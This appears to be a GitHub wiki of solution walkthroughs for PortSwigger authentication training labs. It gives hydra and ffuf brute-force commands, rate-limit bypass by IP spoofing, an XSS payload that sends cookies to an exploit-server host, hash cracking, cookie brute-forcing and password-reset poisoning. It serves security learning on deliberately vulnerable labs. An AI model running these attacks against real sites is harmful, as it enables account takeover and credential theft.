Authentication - gachikuku/portswigger GitHub Wiki
Apprentice lab:
Username enumeration via different responses
Apprentice lab:
Username enumeration via different responses
This lab is vulnerable to username enumeration and password brute-force attacks. It has an account with a predictable username and password, which can be found in the following wordlists:
To solve the lab, enumerate a valid username, brute-force this user's password, then access their account page.
-
Solution
-
Browse to the login page and sumbit an invalid username and password.
-
Observe the page response and notice "Invalid username".
-
Find out the username.
hydra -V -I -L usernames.txt -p *invalid* uuid.web-security-academy.net https-post-form "/login:username=^USER^&password=*invalid*:Invalid username"
-
Sumbit an invalid password, with the valid username.
-
Observe the page response and notice "Invalid password".
-
Find out the password.
hydra -V -I -l *valid* -P passwords.txt uuid.web-security-academy.net https-post-form "/login:username=*valid*&password=^PASS^:Incorrect password"
-
Boom
-
NOTE
Usinghydra
can be tricky to use. View-source⌘ ⌥ U
when usinghydra
.
For example is the method http or https, is the type of the input user or username?
Practitioner lab:
Username enumeration via subtly different responses
Practitioner lab:
Username enumeration via subtly different responses
This lab is subtly vulnerable to username enumeration and password brute-force attacks. It has an account with a predictable username and password, which can be found in the following wordlists:
To solve the lab, enumerate a valid username, brute-force this user's password, then access their account page.
-
Solution
-
Browse to the login page and sumbit an invalid username and password.
-
Observe the page response and notice "Invalid username or password.".
-
Find out the username.
hydra -L usernames.txt -p *invalid* uuid.web-security-academy.net https-post-form "/login:username=^USER^&password=*invalid*:Invalid username or password."
-
Sumbit an invalid password, with the valid username.
-
Observe the page response and notice "Invalid username or password ". There is a typo in the dot!
-
Find out the password.
hydra -l *valid* -P passwords.txt uuid.web-security-academy.net https-post-form "/login:username=*valid*&password=^PASS^:Invalid username or password "
-
Boom
-
NOTE:
This is also an another longer option. Namely "cluster bomb attack".hydra -L usernames.txt -P passwords.txt uuid.web-security-academy.net https-post-form "/login:username=^USER^&password=^PASS^:Invalid username or password."
Practitioner lab:
Username enumeration via response timing
Practitioner lab:
Username enumeration via response timing
This lab is vulnerable to username enumeration using its response times. To solve the lab, enumerate a
valid username, brute-force this user's password, then access their account page.
-
Your credentials:
wiener:peter
-
Solution
- Log in as
wiener:peter
, extract (x4
) the login POST request to a file, and log out. - Modify the request query password so it's very very long. Replay (
r
) the request and notice the response time is much longer. - Fuzz for username enumeration. Notice a limit protection has been implemented on the web app.
X-Forwarded-For
is used to bypass limit protection, aka IP spoofing. - In order to use pitchfork mode in
ffuf
we need a range of numbers within a text file. Open vim and type:%!seq 100 200
- In the extracted request add
X-Forwarded-For
header and set it to FOO (range.txt), username to FUZZ (usernames.txt), and the password to a very long lengthy one (response time differences).ffuf -request request -w usernames.txt:FUZZ -w range.txt:FOO -mode pitchfork
- After finding the username successfully by seeing a much different response time, time to Change password query to FUZZ and brute force the password like so.
ffuf -request request -w passwords.txt:FUZZ -w range.txt:FOO -mode pitchfork -c
- Seeing again something different, response time or even a different status code, means it's valid password for the enumerated user.
- Log in as
Practitioner lab:
Broken brute-force protection, IP block
Practitioner lab:
Broken brute-force protection, IP block
This lab is vulnerable due to a logic flaw in its password brute-force protection. To solve the lab, brute-force the victim's password, then log in and access their account page.
-
Your credentials:
wiener:peter
-
Victim's username:
carlos
-
Solution
- Log in as
wiener:peter
, log out, and extract (x4
) the POST request to a file i.e. request.txt. - Notice login gets blocked after some unsuccessful attempts so, alternate successful/unsuccessful login attempts to remain unblocked.
- Create usernames.txt wordlist.
seq 1 200 | awk 'NR % 2 != 0 {print "carlos"} NR % 2 == 0 {print "wiener"}' > usernames.txt
- Modify passwords.txt wordlist, by adding
peter
after every password. Vim macros can accomplish it easily, or awk.awk '{print $0 "\npeter"}' passwords.txt > modified-passwords.txt
- Fuzzzzzz fasterrrrr uuuuuuuuuuuuuuuuuuuuuuuuuu fououuouououuuuuuuuuuuuuuuuuuul
ffuf -request request.txt -w usernames.txt:FUZZ -w passwords.txt:BUZZ -c -mode pitchfork -t 1
- Log in as
Practitioner lab:
Username enumeration via account lock
Practitioner lab:
Username enumeration via account lock
This lab is vulnerable to username enumeration. It uses account locking, but this contains a logic flaw. To solve the lab, enumerate a valid username, brute-force this user's password, then access their account page.
-
Solution
- To simulate an account lock, and thus creating a different unique response, create a list of usernames duplicated 5x.
awk '{print $0 "\n" $0 "\n" $0 "\n" $0 "\n" $0}' usernames.txt > usernames5x.txt
- Fuzz for username. Look for something that stands out.
ffuf -w usernames5x.txt:FUZZ -request request.txt -c
- Fuzz for password after enumerating s username. Look for something that stands out.
ffuf -w passwords.txt:FUZZ -request request.txt -c
- Log in with the with the enumerated credentials.
- To simulate an account lock, and thus creating a different unique response, create a list of usernames duplicated 5x.
Expert lab:
Broken brute-force protection, multiple credentials per request
Expert lab:
Broken brute-force protection, multiple credentials per request
This lab is vulnerable due to a logic flaw in its brute-force protection. To solve the lab, brute-force Carlos's password, then access his account page.
-
Victim's username:
carlos
-
Solution
- Log in as
wiener:peter
. - Notice the POST request for
/login
is in a form of json.{ "password": "peter", "username": "wiener" }
- Modify json file so
username
iscarlos
and it has all the passwords inside it.{ "username": "carlos", "password": [ "123456", "password", ... "moscow" ] }
- If STATUS is
302
or something interesting, login in again and intercept the request so it can be shown in the browser.
- Log in as
Apprentice lab:
2FA simple bypass
Apprentice lab:
2FA simple bypass
This lab's two-factor authentication can be bypassed. You have already obtained a valid username and password, but do not have access to the user's 2FA verification code. To solve the lab, access Carlos's account page.
-
Your credentials:
wiener:peter
-
Victim's credentials
carlos:montoya
-
Solution (Explaination)
- Log in as
wiener:peter
. - Enter 2FA code, sent via email.
- Notice the url once logged in as
wiener:peter
.https://uuid.web-security-academy.net/my-account?id=wiener
- Log out, and log back in as
carlos:montoya
. - When prompted for 2FA verification, paste the url as if already logged in.
https://uuid.web-security-academy.net/my-account?id=carlos
- Log in as
Practitioner lab:
2FA broken logic
Practitioner lab:
2FA broken logic
Apprentice lab:
Password reset broken logic
Apprentice lab:
Password reset broken logic
This lab's password reset functionality is vulnerable. To solve the lab, reset Carlos's password then log in and access his "My account" page.
-
Your credentials:
wiener:peter
-
Victim's username:
carlos
-
Solution
- Go to
/login
page, and click on Forgot password? - Enter
wiener
. - In the email client, click the reset your password link.
- Enter password twice and intercept the Request.
- In the POST Request change the username form from
wiener
tocarlos
. - Now login with the new password for
carlos
.
- Go to
Practitioner lab:
Offline password cracking
Practitioner lab:
Offline password cracking
This lab stores the user's password hash in a cookie. The lab also contains an XSS vulnerability in the
comment functionality. To solve the lab, obtain Carlos's stay-logged-in
cookie and use it to crack his
password. Then, log in as carlos
and delete his account from the "My account" page.
-
Your credentials:
wiener:peter
-
Victim's username:
carlos
-
Solution
- Login in as
wiener:peter
withstay-logged-in
checkbox checked. - Notice in the response of the POST flow in the
set-cookie
header the cookiestay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw
- Decoding it reveals a
username:hash
.The hash (omit %) is the password which we can crack if we are able to obtain other hashes as well.echo "d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw" | base64 -d wiener:51dc30ddc473d43a6011e9ebba6ca770%
- Go to the commend functionality of the web application to spray `<script>alert(1);</script> and pray for XSS.
- Once verified for XSS steal a cookie.
Using the payload above make sure you check LOGS! Because errors might hint otherwise.
<script>document.location='//YOUR-EXPLOIT-SERVER-ID.exploit-server.net/'+document.cookie</script>
- Copy the cookie and store it in a file.
echo "Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz" | base64 -d | awk -F: '{print $2}' > hash
- Command explaination.
hashcat -m 0 -a 0 hash wordlist/rockyou.txt
- Delete poor
carlos
.
- Login in as
NOTE:
Brute force attacks generally take way longer than dictionary attacks.
Choosing the correct wordlist (or dictionary) is wiser.
Practitioner lab:
Brute-forcing a stay-logged-in cookie
Practitioner lab:
Brute-forcing a stay-logged-in cookie
This lab allows users to stay logged in even after they close their browser session. The cookie used to provide this functionality is vulnerable to brute-forcing.
To solve the lab, brute-force Carlos's cookie to gain access to his "My account" page.
-
Your credentials:
wiener:peter
-
Victim's username:
carlos
-
Solution
- Log in as
wiener:peter
with thestay-logged-in
checkbox checked. - Then logout.
-
⌘ ⌥ K
(Firefox mac-shortcut) to open konsole and go to the storage tab under cookies and insert the previousstay-logged-in
cookie. - After refreshing and visiting my account, we verify that we can still be logged in just with the
stay-logged-in
cookie set. - Notice the
stay-logged-in
cookie is in the form ofbase64(username:md5hash)
. - Run python script to covert the wordlist into the desirable format for the cookie.
import hashlib import base64 def process_line(line): # Remove newline character and any leading/trailing whitespace word = line.strip() # Calculate MD5 hash of the word md5_hash = hashlib.md5(word.encode()).hexdigest() # Concatenate "carlos:" with the MD5 hash result = f"carlos:{md5_hash}" # Base64 encode the result return base64.b64encode(result.encode()).decode() def process_file(input_file, output_file): with open(input_file, 'r') as infile, open(output_file, 'w') as outfile: for line in infile: processed_line = process_line(line) outfile.write(processed_line + '\n') input_file = 'wordlist.txt' output_file = 'output.txt' process_file(input_file, output_file) print(f"Processed {input_file} and wrote the results to {output_file}")
- Select and export (
x4
) the raw_request to FUZZ thestay-logged-in
cookie, Change the endpoint to carlos instead of wiener. - FUZZzzzzzzzzzzzzzzz
ffuf -request request -w output.txt -fc 302
- Log in as
Practitioner lab:
Password brute-force via password change
Practitioner lab:
Password brute-force via password change
This lab's password change functionality makes it vulnerable to brute-force attacks. To solve the lab, use the list of candidate passwords to brute-force Carlos's account and access his "My account" page.
-
Your credentials:
wiener:peter
-
Victim's username:
carlos
-
Solution
- Log in as
wiener:peter
. - Notice in the POST request
username
is a hidden parameter which we can change. - Modify the POST request data
username
fromwiener
tocarlos
and replay (r
) the request to make sure it's status code match the original. Export (x4
) the request for ffuf. - Try changing the password using Change password functionality and map out it's permutations.
current-password new-password-1 new-password-2 response Valid test
test
200
Password changed successfully!Valid test
meow
200
New passwords do not matchInvalid test
test
302
Invalid test
meow
200
Current password is incorrect - Based on the table we want to fuzz for current-password, but with new-password-1 and new-password-2 to be different.
username=carlos¤t-password=FUZZ&new-password-1=test&new-password-2=meow
- Fuzz with ffuf and filter through sizes to pick the odd one out as the password.
ffuf -request request.txt -w passwords.txt:FUZZ -c
- Log in as
NOTE:
Good practice is to change the request within mitmproxy first and then export it for fuzzing.
Practitioner lab:
Password reset poisoning via middleware
Practitioner lab:
Password reset poisoning via middleware
This lab is vulnerable to password reset poisoning. The user carlos
will carelessly click on any links in emails that he receives. To solve the lab, log in to Carlos's account. You can log in to your own account using the following credentials: wiener:peter
. Any emails sent to this account can be read via the email client on the exploit server.
-
Solution
- Click on Forgot password?.
- Enter
wiener
. - Modify the
/forgot-password
POST request by addingX-Forwarded-Host: domain
and changing the username tocarlos
. - Access the logs and use the token generated to reset poor
carlos
's password and use it to log in as Carlos.